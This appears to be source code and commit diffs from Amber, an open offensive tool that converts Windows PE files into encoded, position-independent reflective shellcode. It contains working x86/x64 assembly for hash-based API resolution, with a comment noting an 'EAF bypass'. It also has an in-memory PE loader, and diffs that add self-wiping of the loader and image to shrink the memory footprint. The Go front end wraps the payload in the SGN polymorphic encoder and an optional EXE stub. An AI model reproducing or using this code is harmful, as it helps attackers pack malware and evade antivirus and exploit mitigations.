push dword [eax+0x10] ; Save the current import descriptor IAT RVA
add [esp],esi ; Get the IAT memory address
mov eax,[eax] ; Set the import names table RVA to eax
add eax,esi ; Get the current import descriptor's import names table address
push eax ; Save it to stack
resolve:
cmp dword [eax],0x00 ; Check if end of the import names table
jz all_resolved ; If yes resolving process is done
mov eax,[eax] ; Get the RVA of function hint to eax
cmp eax,0x80000000 ; Check if the high order bit is set
js name_resolve ; If high order bit is not set resolve with INT entry
sub eax,0x80000000 ; Zero out the high bit
call GetProcAddress ; Get the API address with hint
jmp insert_iat ; Insert the address of API tı IAT
name_resolve:
add eax,esi ; Set the address of function hint
add eax,0x02 ; Move to function name
call GetProcAddress ; Get the function address to eax
insert_iat:
mov ecx,[esp+4] ; Move the IAT address to ecx
mov [ecx],eax ; Insert the function address to IAT
add dword [esp],0x04 ; Increase the import names table index
add dword [esp+4],0x04 ; Increase the IAT index
mov eax,[esp] ; Set the address of import names table address to eax
jmp resolve ; Loop
all_resolved:
mov ecx,[esp+4] ; Move the IAT address to ecx
mov dword [ecx],0x00 ; Insert a NULL dword
pop ecx ; Deallocate index values
pop ecx ; ...
pop ecx ; Put back the ecx value
ret ; <-
LoadLibraryA:
push ecx ; Save ecx to stack
push edx ; Save edx to stack
push eax ; Push the address of linrary name string
push 0xE2E6A091 ; ror13( "kernel32.dll", "LoadLibraryA" )
call api_call ; LoadLibraryA([esp+4])
pop edx ; Retreive edx
pop ecx ; Retreive ecx
ret ; <-
GetProcAddress:
push ecx ; Save ecx to stack
push edx ; Save edx to stack
push eax ; Push the address of proc name string
push ebx ; Push the dll handle
push 0xA18B0B38 ; ror13( "kernel32.dll", "GetProcAddress" )
call api_call ; GetProcAddress(ebx,[esp+4])
pop edx ; Retrieve edx
pop ecx ; Retrieve ecx
ret ; <-
complete:
pop eax ; Clean out the stack
pop edi ; ..
mov edx,edi ; Copy the address of new base to EDX
pop eax ; Pop the address_of_entry to EAX
add edi,eax ; Add the address of entry to new image base
pop ecx ; Pop the image_size to ECX
memcpy:
mov al,[esi] ; Move 1 byte of PE image to AL register
mov [edx],al ; Move 1 byte of PE image to image base
inc esi ; Increase PE image index
inc edx ; Increase image base index
loop memcpy ; Loop until ECX = 0
PE_Start:
jmp edi ; Call PE AOE
`
const CRC_API_64 = `
api_call:
push r9 ; Save the 4th parameter
push r8 ; Save the 3rd parameter
push rdx ; Save the 2nd parameter
push rcx ; Save the 1st parameter
push rsi ; Save RSI
xor rdx, rdx ; Zero rdx
mov rdx, gs:[rdx+0x60] ; Get a pointer to the PEB
mov rdx, [rdx+0x18] ; Get PEB->Ldr
mov rdx, [rdx+0x20] ; Get the first module from the InMemoryOrder module list
next_mod: ;
mov rsi, [rdx+0x50] ; Get pointer to modules name (unicode string)
movzx rcx, word [rdx+0x4A]; Set rcx to the length we want to check
xor r9, r9 ; Clear r9 which will store the hash of the module name
loop_modname: ;
xor rax, rax ; Clear rax
lodsb ; Read in the next byte of the name
cmp al, 'a' ; Some versions of Windows use lower case module names
jl not_lowercase ;
sub al, 0x20 ; If so normalise to uppercase
not_lowercase: ;
crc32 r9d,al ; Calculate CRC3
loop loop_modname ; Loop untill we have read enough
; We now have the module hash computed
push rdx ; Save the current position in the module list for later
push r9 ; Save the current module hash for later
; Proceed to itterate the export address table,
mov rdx, [rdx+0x20] ; Get this modules base address
mov eax, dword [rdx+0x3C]; Get PE header
add rax, rdx ; Add the modules base address
cmp word [rax+0x18],0x020B ; is this module actually a PE64 executable?
; this test case covers when running on wow64 but in a native x64 context via nativex64.asm and
; their may be a PE32 module present in the PEB's module list, (typicaly the main module).
; as we are using the win64 PEB ([gs:96]) we wont see the wow64 modules present in the win32 PEB ([fs:48])
jne get_next_mod1 ; if not, proceed to the next module
mov eax, dword [rax+0x88] ; Get export tables RVA
test rax, rax ; Test if no export address table is present
jz get_next_mod1 ; If no EAT present, process the next module
add rax, rdx ; Add the modules base address
push rax ; Save the current modules EAT
mov ecx, dword [rax+0x18]; Get the number of function names
mov r8d, dword [rax+0x20]; Get the rva of the function names
add r8, rdx ; Add the modules base address
; Computing the module hash + function hash
get_next_func: ;
jrcxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
mov r9, [rsp+8] ; Reset the current module hash
dec rcx ; Decrement the function name counter
mov esi, dword [r8+rcx*4]; Get rva of next module name
add rsi, rdx ; Add the modules base address
; And compare it to the one we want
loop_funcname: ;
xor rax, rax ; Clear rax
lodsb ; Read in the next byte of the ASCII function name
crc32 r9d,al ; Calculate CRC32
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue
cmp r9d, r10d ; Compare the hash to the one we are searchnig for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one...
pop rax ; Restore the current modules EAT
mov r8d, dword [rax+0x24]; Get the ordinal table rva
add r8, rdx ; Add the modules base address
mov cx, [r8+2*rcx] ; Get the desired functions ordinal
mov r8d, dword [rax+0x1C]; Get the function addresses table rva
add r8, rdx ; Add the modules base address
mov eax, dword [r8+4*rcx]; Get the desired functions RVA
add rax, rdx ; Add the modules base address to get the functions actual VA
; We now fix up the stack and perform the call to the drsired function...
finish:
pop r8 ; Clear off the current modules hash
pop r8 ; Clear off the current position in the module list
pop rsi ; Restore RSI
pop rcx ; Restore the 1st parameter
pop rdx ; Restore the 2nd parameter
pop r8 ; Restore the 3rd parameter
pop r9 ; Restore the 4th parameter
pop r10 ; Pop off the return address
sub rsp, 0x20 ; Reserve space for the four register params (4 * sizeof(QWORD) = 32)
; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP).
push r10 ; Push back the return address
jmp rax ; Jump to required function
; We now automagically return to the correct caller...
get_next_mod: ;
pop rax ; Pop off the current (now the previous) modules EAT
get_next_mod1: ;
pop r9 ; Pop off the current (now the previous) modules hash
pop rdx ; Restore our position in the module list
mov rdx, [rdx] ; Get the next module
jmp next_mod ; Process this module
`
const CRC_API_32 = `
api_call:
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
mov ebp, esp ; Create a new stack frame
xor eax, eax ; Zero EAX (upper 3 bytes will remain zero until function is found)
mov edx, fs:[eax+0x30] ; Get a pointer to the PEB
mov edx, [edx+0xC] ; Get PEB->Ldr
mov edx, [edx+0x14] ; Get the first module from the InMemoryOrder module list
next_mod: ;
mov esi, [edx+0x28] ; Get pointer to modules name (unicode string)
movzx ecx, word [edx+0x26] ; Set ECX to the length we want to check
xor edi, edi ; Clear EDI which will store the hash of the module name
loop_modname: ;
lodsb ; Read in the next byte of the name
cmp al, 'a' ; Some versions of Windows use lower case module names
jl not_lowercase ;
sub al, 0x20 ; If so normalise to uppercase
not_lowercase: ;
crc32 edi,al ; Calculate CRC32 value
loop loop_modname ; Loop until we have read enough
; We now have the module hash computed
push edx ; Save the current position in the module list for later
push edi ; Save the current module hash for later
; Proceed to iterate the export address table,
mov edx, [edx+0x10] ; Get this modules base address
mov ecx, [edx+0x3C] ; Get PE header
; use ecx as our EAT pointer here so we can take advantage of jecxz.
mov ecx, [ecx+edx+0x78] ; Get the EAT from the PE header
jecxz get_next_mod1 ; If no EAT present, process the next module
add ecx, edx ; Add the modules base address
push ecx ; Save the current modules EAT
mov ebx, [ecx+0x20] ; Get the rva of the function names
add ebx, edx ; Add the modules base address
mov ecx, [ecx+0x18] ; Get the number of function names
; now ecx returns to its regularly scheduled counter duties
; Computing the module hash + function hash
get_next_func: ;
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
mov edi, [ebp-8] ; Reset the current module hash
dec ecx ; Decrement the function name counter
mov esi, [ebx+ecx*4] ; Get rva of next module name
add esi, edx ; Add the modules base address
; And compare it to the one we want
loop_funcname: ;
lodsb ; Read in the next byte of the ASCII function name
crc32 edi,al ; Calculate CRC32
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue
cmp edi, [ebp+0x24] ; Compare the hash to the one we are searching for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one...
pop eax ; Restore the current modules EAT
mov ebx, [eax+0x24] ; Get the ordinal table rva
add ebx, edx ; Add the modules base address
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
mov ebx, [eax+0x1C] ; Get the function addresses table rva
add ebx, edx ; Add the modules base address
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
add eax, edx ; Add the modules base address to get the functions actual VA
; We now fix up the stack and perform the call to the desired function...
finish:
mov [esp+0x24], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
pop ebx ; Clear off the current modules hash
pop ebx ; Clear off the current position in the module list
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
pop ecx ; Pop off the origional return address our caller will have pushed
pop edx ; Pop off the hash value our caller will have pushed
push ecx ; Puh back the return address
jmp eax ; Properly call the required function for EAF bypass
ret
; We now automagically return to the correct caller...
get_next_mod: ;
pop edi ; Pop off the current (now the previous) modules EAT
get_next_mod1: ;
pop edi ; Pop off the current (now the previous) modules hash
pop edx ; Restore our position in the module list
mov edx, [edx] ; Get the next module
jmp next_mod ; Process this module
`
const IAT_API_32 = `
api_call:
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
xor eax,eax ; Zero EAX (upper 3 bytes will remain zero until function is found)
mov edx,fs:[eax+0x30] ; Get a pointer to the PEB
mov edx,[edx+0x0C] ; Get PEB->Ldr
mov edx,[edx+0x14] ; Get the first module from the InMemoryOrder module list
mov edx,[edx+0x10] ; Get this modules base address
push edx ; Save the image base to stack (will use this alot)
add edx,[edx+0x3C] ; "PE" Header
mov edx,[edx+0x80] ; Import table RVA
add edx,[esp] ; Address of Import Table
push edx ; Save the &IT to stack (will use this alot)
mov esi,[esp+4] ; Move the image base to ESI
sub esp,0x08 ; Allocate space for import descriptor counter & hash
sub edx,0x14 ; Prepare the import descriptor pointer for processing
next_desc:
add edx,0x14 ; Get the next import descriptor
cmp dword [edx],0x00 ; Check if import descriptor valid
jz not_found ; If import name array RVA is zero finish parsing
mov esi,[esp+0x08] ; Move the import table address to esi
mov si,[edx+0x0C] ; Get pointer to module name string RVA
xor edi,edi ; Clear EDI which will store the hash of the module name
loop_modname: ;
lodsb ; Read in the next byte of the name
cmp al,'a' ; Some versions of Windows use lower case module names
jl not_lowercase ;
sub al, 0x20 ; If so normalise to uppercase
not_lowercase: ;
crc32 edi,al ; Calculate CRC32 of module name
crc32 edi,ah ; Add NULL for unicode effect
test al,al ; Check if we read all
jnz loop_modname
; We now have the module hash computed
mov [esp+4],edx ; Save the current position in the module list for later
mov [esp],edi ; Save the current module hash for later
; Proceed to iterate the export address table,
mov ecx,[edx] ; Get the RVA of import names table
add ecx,[esp+0x0C] ; Add image base and get address of import names table
sub ecx,0x04 ; Go 4 byte back
get_next_func:
mov edi,dword [esp]
; use ecx as our EAT pointer here so we can take advantage of jecxz.
add ecx,0x04 ; 4 byte forward
cmp dword [ecx],0x00 ; Check if end of INT
jz next_desc ; If no INT present, process the next import descriptor
mov esi,[ecx] ; Get the RVA of func name hint
cmp esi,0x80000000 ; Check if the high order bit is set
jns get_next_func ; If not, there is no function name string :(
add esi,[esp+0x0C] ; Add the image base and get the address of function hint
add dword esi,0x02 ; Move 2 bytes forward to asci function name
; now ecx returns to its regularly scheduled counter duties
; Computing the module hash + function hash
; And compare it to the one we want
loop_funcname: ;
lodsb ; Read in the next byte of the ASCII function name
crc32 edi,al ; Calculate CRC32 of function name
test al,al ; Check if AL == 0
jnz loop_funcname ; If we have not reached the null terminator, continue
cmp edi,[esp+0x34] ; Compare the hash to the one we are searching for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one...
mov eax,[edx+0x10] ; Get the RVA of current descriptor's IAT
mov edx,[edx] ; Get the import names table RVA of current import descriptor
add edx,[esp+0x0C] ; Get the address of import names table of current import descriptor
sub ecx,edx ; Find the function array index ?
add eax,[esp+0x0C] ; Add the image base to current descriptors IAT RVA
add eax,ecx ; Add the function index
; Now we clean the stack
; We now fix up the stack and perform the call to the desired function...
finish:
mov [esp+0x2C],eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
add esp,0x10 ; Deallocate saved module hash, import descriptor address and import table address
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
pop ebx ; Pop off the origional return address our caller will have pushed
pop edx ; Pop off the hash value our caller will have pushed
push ebx ; Push back the return address
mov eax,[eax] ; Get the address of the desired API
jmp eax ; Jump to target function
; We now automagically return to the correct caller...
not_found:
add esp,0x0F ; Fix the stack
popad ; Restore all registers
ret ; Return
`
const IAT_API_64 = `
api_call:
push r9 ; Save the 4th parameter
push r8 ; Save the 3rd parameter
push rdx ; Save the 2nd parameter
push rcx ; Save the 1st parameter
push rsi ; Save RSI
xor rdx,rdx ; Zero rdx
mov rdx,gs:[rdx+0x60] ; Get a pointer to the PEB
mov rdx,[rdx+0x18] ; Get PEB->Ldr
mov rdx,[rdx+0x20] ; Get the first module from the InMemoryOrder module list
mov rdx,[rdx+0x20] ; Get this modules base address
push rdx ; Save the image base to stack (will use this alot)
add dx,word [rdx+0x3C] ; "PE" Header
mov edx,dword [rdx+0x90]; Import table RVA
add rdx,[rsp] ; Address of Import Table
push rdx ; Save the &IT to stack (will use this alot)
mov rsi,[rsp+8] ; Move the image base to RSI
sub rsp,0x10 ; Allocate space for import descriptor counter & hash
sub rdx,0x14 ; Prepare import descriptor pointer for processing
next_desc:
add rdx,0x14 ; Get the next import descriptor
cmp dword [rdx],0 ; Check if import descriptor is valid
jz not_found ; If import name array RVA is zero finish parsing
mov rsi,[rsp+0x10] ; Move import table address to RSI
mov si,[rdx+0xC] ; Get pointer to module name string RVA
xor rdi,rdi ; Clear RDI which will store the hash of the module name
loop_modname:
xor rax,rax ; Clear RAX for calculating the hash
lodsb ; Read in the next byte of the name
cmp al,'a' ; Some versions of windows use lower case module names
jl not_lowercase ;
sub al,0x20 ; If so normalize to uppercase
not_lowercase:
crc32 edi,al ; Calculate CRC32 of module name
crc32 edi,ah ; Feed NULL for unicode effect
test al,al ; Check if end of the module name
jnz loop_modname ;
; We now have the module hash computed
mov [rsp+8],rdx ; Save the current position in the module listfor later
mov [rsp],edi ; Save the current module hash for later
; Proceed to itterate the export address table,
mov ecx,dword [rdx] ; Get RVA of import names table
add rcx,[rsp+0x18] ; Add the image base and get the address of import names table
sub rcx,8 ; Go 4 bytes back
get_next_func: ;
mov rdi,[rsp] ; Reset module hash
add rcx,8 ; 8 byte forward
cmp dword [rcx],0 ; Check if end of INT
jz next_desc ; If no INT present, process the next import descriptor
mov esi,dword [rcx] ; Get the RVA of func name hint
cmp esi,0x80000000 ; Check if the high order bit is set
jns get_next_func ; If not, there is no function name string :(
add rsi,[rsp+0x18] ; Add the image base and get the address of function name hint
add rsi,2 ; Move 2 bytes forward to asci function name
; now ecx returns to its regularly scheduled counter duties
; Computing the module hash + function hash
; And compare it to the one we want
loop_funcname:
xor rax,rax ; Clear RAX
lodsb ; Read in the next byte of the ASCII function name
crc32 edi,al ; Calculate CRC32 of the function name
cmp al,ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue
cmp edi,r10d ; Compare the hash to the one we are searchnig for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one...
mov eax,dword [rdx+0x10]; Get the RVA of current descriptor's IAT
mov edx,dword [rdx] ; Get the import names table RVA of current import descriptor
add rdx,[rsp+0x18] ; Get the address of import names table of current import descriptor
sub rcx,rdx ; Find the function array index ?
add rax,[rsp+0x18] ; Add the image base to current descriptors IAT RVA
add rax,rcx ; Add the function index
; Now clean the stack
; We now fix up the stack and perform the call to the drsired function...
finish:
pop r8 ; Clear off the current modules hash
pop r8 ; Clear off the current position in the module list
pop r8 ; Clear off the import table address of last module
pop r8 ; Clear off the image base address of last module
pop rsi ; Restore RSI
pop rcx ; Restore the 1st parameter
pop rdx ; Restore the 2nd parameter
pop r8 ; Restore the 3rd parameter
pop r9 ; Restore the 4th parameter
pop r10 ; Pop off the return address
sub rsp,0x20 ; reserve space for the four register params (4 * sizeof(QWORD) = 32)
; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP).
push r10 ; Push back the return address
mov rax,[rax] ; Get the address of the desired API
jmp rax ; Jump to target function
; We now automagically return to the correct caller...
not_found:
add rsp,0x48 ; Clean out the stack
ret ; Return to caller
`
Submodule loader/IAT_API updated: c242fc7464...0d8659a603
+14 -3
View File
@@ -96,11 +96,22 @@ complete:
add [rsp],r12 ; Add the address of entry value to new base address add [rsp],r12 ; Add the address of entry value to new base address
memcpy: memcpy:
mov al,[rsi] ; Move 1 byte of PE image to AL register mov al,[rsi] ; Move 1 byte of PE image to AL register
mov [rbx],al ; Move 1 byte of PE image to image base mov byte [rbx],al ; Move 1 byte of PE image to image base
mov byte [rsi],0 ; Overwrite copied byte (for less memory footprint)
inc rsi ; Increase PE image index inc rsi ; Increase PE image index
inc rbx ; Increase image base index inc rbx ; Increase image base index
loop memcpy ; Loop until zero loop memcpy ; Loop until zero
ret ; <- jmp PE_start
; ========== API ========== ; ========== API ==========
%include "CRC32_API/x64_crc32_api.asm" %include "CRC32_API/x64_crc32_api.asm"
PE_start:
mov rcx,wipe ; Get the number of bytes until wipe label
lea rax,[rip] ; Get RIP to RAX
nop ; Padding
wipe:
mov byte [rax],0 ; Wipe 1 byte at a time
dec rax ; Decraise RAX
loop wipe ; Loop until RCX = 0
ret ; Return to AOE
+15 -4
View File
@@ -106,12 +106,23 @@ complete:
pop ecx ; Pop the image_size to ECX pop ecx ; Pop the image_size to ECX
memcpy: memcpy:
mov al,[esi] ; Move 1 byte of PE image to AL register mov al,[esi] ; Move 1 byte of PE image to AL register
mov [edx],al ; Move 1 byte of PE image to image base mov byte [edx],al ; Move 1 byte of PE image to image base
mov byte [esi],0 ; Overwrite copied byte (for less memory footprint)
inc esi ; Increase PE image index inc esi ; Increase PE image index
inc edx ; Increase image base index inc edx ; Increase image base index
loop memcpy ; Loop until ECX = 0 loop memcpy ; Loop until ECX = 0
PE_Start: jmp PE_start
jmp edi ; Call PE AOE
; ========== API ========== ; ========== API ==========
%include "CRC32_API/x86_crc32_api.asm" %include "CRC32_API/x86_crc32_api.asm"
PE_start:
mov ecx,wipe ; Get the number of bytes until wipe label
call wipe_start ; Call wipe_start
wipe_start:
pop eax ; Get EIP to EAX
wipe:
mov byte [eax],0 ; Wipe 1 byte at a time
dec eax ; Decraise EAX
loop wipe ; Loop until ECX = 0
ret ; Return to AOE
+15 -4
View File
@@ -136,12 +136,12 @@ complete:
add r13,r12 ; Add the address of entry value to new base address add r13,r12 ; Add the address of entry value to new base address
memcpy: memcpy:
mov al,[rsi] ; Move 1 byte of PE image to AL register mov al,[rsi] ; Move 1 byte of PE image to AL register
mov [rdi],al ; Move 1 byte of PE image to image base mov byte [rdi],al ; Move 1 byte of PE image to image base
mov byte [rsi],0 ; Overwrite copied byte (for less memory footprint) mov byte [rsi],0 ; Overwrite copied byte (for less memory footprint)
inc rsi ; Increase PE image index inc rsi ; Increase PE image index
inc rdi ; Increase image base index inc rdi ; Increase image base index
loop memcpy ; Loop until zero loop memcpy ; Loop until zero
PE_start: ; Flush instruction cache
pop r13 ; Pop the image base to r13 pop r13 ; Pop the image base to r13
or rcx,-1 ; hProcess or rcx,-1 ; hProcess
xor rdx,rdx ; lpBaseAddress xor rdx,rdx ; lpBaseAddress
@@ -151,7 +151,18 @@ PE_start:
call api_call ; FlushInstructionCache(0xffffffff,NULL,NULL); call api_call ; FlushInstructionCache(0xffffffff,NULL,NULL);
xchg rbp,rsp ; Swap shadow stack xchg rbp,rsp ; Swap shadow stack
add r13,r12 ; Add the address of entry value to image base add r13,r12 ; Add the address of entry value to image base
jmp r13 ; Call the AOE jmp PE_start ; Wipe artifacts from memory and start PE
; ========== API ========== ; ========== API ==========
%include "CRC32_API/x64_crc32_api.asm" %include "CRC32_API/x64_crc32_api.asm"
PE_start:
mov rcx,wipe ; Get the number of bytes until wipe label
lea rax,[rip] ; Get RIP to RAX
nop ; Padding
wipe:
mov byte [rax],0 ; Wipe 1 byte at a time
dec rax ; Decraise RAX
loop wipe ; Loop until RCX = 0
jmp r13 ; Call the AOE
+15 -4
View File
@@ -142,12 +142,23 @@ complete:
pop ecx ; Pop the image_size to ECX pop ecx ; Pop the image_size to ECX
memcpy: memcpy:
mov al,[esi] ; Move 1 byte of PE image to AL register mov al,[esi] ; Move 1 byte of PE image to AL register
mov [edx],al ; Move 1 byte of PE image to image base mov byte [edx],al ; Move 1 byte of PE image to image base
mov byte [esi],0 ; Overwrite copied byte (for less memory footprint)
inc esi ; Increase PE image index inc esi ; Increase PE image index
inc edx ; Increase image base index inc edx ; Increase image base index
loop memcpy ; Loop until ECX = 0 loop memcpy ; Loop until ECX = 0
PE_Start: jmp PE_start
jmp edi ; Call PE AOE
; ========== API ========== ; ========== API ==========
%include "CRC32_API/x86_crc32_api.asm" %include "CRC32_API/x86_crc32_api.asm"
PE_start:
mov ecx,wipe ; Get the number of bytes until wipe label
call wipe_start ; Call wipe_start
wipe_start:
pop eax ; Get EIP to EAX
wipe:
mov byte [eax],0 ; Wipe 1 byte at a time
dec eax ; Decraise EAX
loop wipe ; Loop until ECX = 0
jmp edi ; Call the AOE
+53 -44
View File
@@ -1,7 +1,6 @@
package main package main
import ( import (
amber "amber/lib"
"flag" "flag"
"fmt" "fmt"
"log" "log"
@@ -11,92 +10,88 @@ import (
"strings" "strings"
"time" "time"
amber "github.com/EgeBalci/amber/pkg"
sgn "github.com/EgeBalci/sgn/lib"
"github.com/briandowns/spinner" "github.com/briandowns/spinner"
sgn "github.com/egebalci/sgn/lib"
"github.com/fatih/color" "github.com/fatih/color"
) )
func init() { // Set globals...
runtime.GOMAXPROCS(runtime.NumCPU()) var spinr = spinner.New(spinner.CharSets[9], 30*time.Millisecond)
}
var bp amber.Blueprint
var red = color.New(color.FgRed).Add(color.Bold)
var blue = color.New(color.FgBlue).Add(color.Bold)
var green = color.New(color.FgGreen).Add(color.Bold)
var yellow = color.New(color.FgYellow).Add(color.Bold)
var spinr = spinner.New(spinner.CharSets[9], 50*time.Millisecond)
func main() { func main() {
banner() banner()
file := flag.String("f", "", "Input PE file") bp := new(amber.Blueprint)
encount := flag.Int("e", 1, "Number of times to encode the binary (increases overall size)") encoder := sgn.NewEncoder()
buildStub := flag.Bool("build", false, "Build EXE stub for executing the reflective payload")
iat := flag.Bool("iat", false, "Use IAT API resolver block instead of CRC API resolver") flag.StringVar(&bp.FileName, "f", "", "Input PE file")
ignoreIntegrity := flag.Bool("ignore-checks", false, "Ignore integrity check errors.") flag.BoolVar(&bp.IAT, "iat", false, "Use IAT API resolver block instead of CRC API resolver block")
flag.BoolVar(&bp.IgnoreIntegrity, "ignore-checks", false, "Ignore integrity check errors.")
flag.StringVar(&bp.CustomStubName, "stub", "", "Use custom stub file (experimental)")
flag.IntVar(&encoder.ObfuscationLimit, "max", 5, "Maximum number of bytes for obfuscation")
flag.IntVar(&encoder.EncodingCount, "e", 1, "Number of times to encode the generated reflective payload")
buildStub := flag.Bool("build", false, "Build EXE stub that executes the generated reflective payload")
green := color.New(color.FgGreen).Add(color.Bold)
flag.Parse() flag.Parse()
if *file == "" { if bp.FileName == "" {
flag.PrintDefaults() flag.PrintDefaults()
os.Exit(0) os.Exit(0)
} }
// Get the absolute path of the file
abs, err := filepath.Abs(*file)
eror(err)
spinr.Start() spinr.Start()
status("File: %s\n", abs) status("File: %s\n", bp.FileName)
status("Build Stub: %t\n", *buildStub) status("Build Stub: %t\n", *buildStub)
status("Encode Count: %d\n", *encount) status("Encode Count: %d\n", encoder.EncodingCount)
if bp.IAT { if bp.IAT {
status("API: IAT\n") status("API: IAT\n")
} else { } else {
status("API: CRC\n") status("API: CRC\n")
} }
// First analyze PE and generate a blueprint
spinr.Suffix = " Analyzing PE file..." spinr.Suffix = " Analyzing PE file..."
bp, err := amber.Analyze(abs) eror(bp.Analyze())
eror(err) if !bp.HasRelocData {
status("Relocation Data: %t\n", bp.HasRelocData) statusBad("%s has no relocation data.\n", bp.FileName)
bp.EncodeCount = *encount if bp.ImageBase != 0x400000 {
bp.IAT = *iat statusBad("Can't switch to fixed address loader because ImageBase mismatch!\n")
bp.IgnoreIntegrity = *ignoreIntegrity }
status("Switching to fixed address loader...\n")
}
spinr.Suffix = " Assembling reflective payload..." spinr.Suffix = " Assembling reflective payload..."
payload, err := bp.AssemblePayload() payload, err := bp.AssemblePayload()
eror(err) eror(err)
if *encount > 0 { if encoder.EncodingCount > 0 {
spinr.Suffix = " Encoding reflective payload..." spinr.Suffix = " Encoding reflective payload..."
// Create a new SGN encoder
encoder := sgn.NewEncoder()
encoder.SetArchitecture(bp.Architecture) encoder.SetArchitecture(bp.Architecture)
encoder.EncodingCount = *encount
payload, err = encoder.Encode(payload) payload, err = encoder.Encode(payload)
eror(err) eror(err)
} }
if !*buildStub { if !*buildStub {
bp.FileName += ".bin" bp.FullFileName += ".bin"
} else { } else {
// Construct EXE stub // Construct EXE stub
spinr.Suffix = " Building EXE stub..." spinr.Suffix = " Building EXE stub..."
payload, err = bp.CompileStub(payload) payload, err = bp.CompileStub(payload)
eror(err) eror(err)
bp.FileName = strings.ReplaceAll(bp.FileName, ".", "_packed.")
bp.FullFileName = strings.ReplaceAll(bp.FullFileName, filepath.Ext(bp.FullFileName), "_packed.exe")
} }
spinr.Stop() spinr.Stop()
outFile, err := os.Create(bp.FileName) outFile, err := os.Create(bp.FullFileName)
eror(err) eror(err)
outFile.Write(payload) outFile.Write(payload)
defer outFile.Close() defer outFile.Close()
finSize, err := amber.GetFileSize(bp.FileName) finSize, err := amber.GetFileSize(bp.FullFileName)
eror(err) eror(err)
status("Final Size: %d bytes\n", finSize) status("Final Size: %d bytes\n", finSize)
green.Println("[✔] Reflective stub generated !\n") status("Build File: %s\n", bp.FileName)
green.Println("[✔] Reflective PE generated !")
} }
@@ -115,18 +110,31 @@ const BANNER string = `
` `
func banner() { func banner() {
green := color.New(color.FgGreen).Add(color.Bold)
red := color.New(color.FgRed).Add(color.Bold)
blue := color.New(color.FgBlue).Add(color.Bold)
red.Printf(BANNER, green.Sprintf("v%s", amber.VERSION), blue.Sprintf("https://github.com/egebalci/amber")) red.Printf(BANNER, green.Sprintf("v%s", amber.VERSION), blue.Sprintf("https://github.com/egebalci/amber"))
} }
func status(formatstr string, a ...interface{}) { func status(formatstr string, a ...interface{}) {
if spinr.Active() { if spinr.Active() {
spinr.Stop() spinr.Stop()
status(formatstr, a...)
spinr.Start()
return
} }
yellow := color.New(color.FgYellow).Add(color.Bold)
yellow.Print("[*] ") yellow.Print("[*] ")
fmt.Printf(formatstr, a...) fmt.Printf(formatstr, a...)
spinr.Start()
}
func statusBad(formatstr string, a ...interface{}) {
if spinr.Active() {
spinr.Stop()
}
red := color.New(color.FgRed).Add(color.Bold)
white := color.New(color.FgWhite).Add(color.Bold)
red.Print("[!] ")
white.Printf(formatstr, a...)
spinr.Start()
} }
func eror(err error) { func eror(err error) {
@@ -134,6 +142,7 @@ func eror(err error) {
if spinr.Active() { if spinr.Active() {
spinr.Stop() spinr.Stop()
} }
red := color.New(color.FgRed).Add(color.Bold)
pc, _, _, ok := runtime.Caller(1) pc, _, _, ok := runtime.Caller(1)
details := runtime.FuncForPC(pc) details := runtime.FuncForPC(pc)
if ok && details != nil { if ok && details != nil {
+4 -4
View File
@@ -1,7 +1,7 @@
package amber package amber
import ( import (
pe "amber/debug/pe" pe "github.com/EgeBalci/debug/pe"
"github.com/EgeBalci/keystone-go" "github.com/EgeBalci/keystone-go"
) )
@@ -14,13 +14,13 @@ const VERSION = "3.0.0"
type Blueprint struct { type Blueprint struct {
// Parameters... // Parameters...
FileName string FileName string
FullFileName string
FileSize int FileSize int
IAT bool IAT bool
Resource bool Resource bool
ScrapePEHeaders bool
IgnoreIntegrity bool IgnoreIntegrity bool
EncodeCount int CustomStubName string
CustomStub []byte
// PE specs... // PE specs...
Architecture int Architecture int
SizeOfImage uint32 SizeOfImage uint32
+114
View File
@@ -0,0 +1,114 @@
package amber
import (
"errors"
"io/ioutil"
"path/filepath"
pe "github.com/EgeBalci/debug/pe"
)
// Analyze returns a Blueprint structure for the given PE file name
func (bp *Blueprint) Analyze() error {
abs, err := filepath.Abs(bp.FileName)
if err != nil {
return err
}
// Set absolute file name
bp.FullFileName = abs
peFile, err := pe.Open(bp.FullFileName)
if err != nil {
return err
}
bp.file = peFile
arch, err := getPEfileArchitecture(bp.FullFileName)
if err != nil {
return err
}
bp.Architecture = arch
if bp.CustomStubName != "" {
arch, err := getPEfileArchitecture(bp.CustomStubName)
if err != nil {
return err
}
if arch != bp.Architecture {
return errors.New("custom stub architecture mismatch")
}
stub, err := ioutil.ReadFile(bp.CustomStubName)
if err != nil {
return err
}
bp.CustomStub = stub
} else {
bp.CustomStub = nil
}
// Fetch OptionalHeader values to blueprint
switch hdr := (peFile.OptionalHeader).(type) {
case *pe.OptionalHeader32:
// cast those back to a uint32 before use in 32bit
bp.ImageBase = uint64(hdr.ImageBase)
bp.Subsystem = hdr.Subsystem
bp.SizeOfImage = hdr.SizeOfImage
bp.IsDLL = peFile.Characteristics == (peFile.Characteristics | pe.IMAGE_FILE_DLL)
bp.HasRelocData = hdr.DataDirectory[5].Size != 0x00
bp.HasBoundedImports = hdr.DataDirectory[11].Size != 0x00
bp.HasDelayedImports = hdr.DataDirectory[13].Size != 0x00
bp.IsCLR = hdr.DataDirectory[14].Size != 0x00
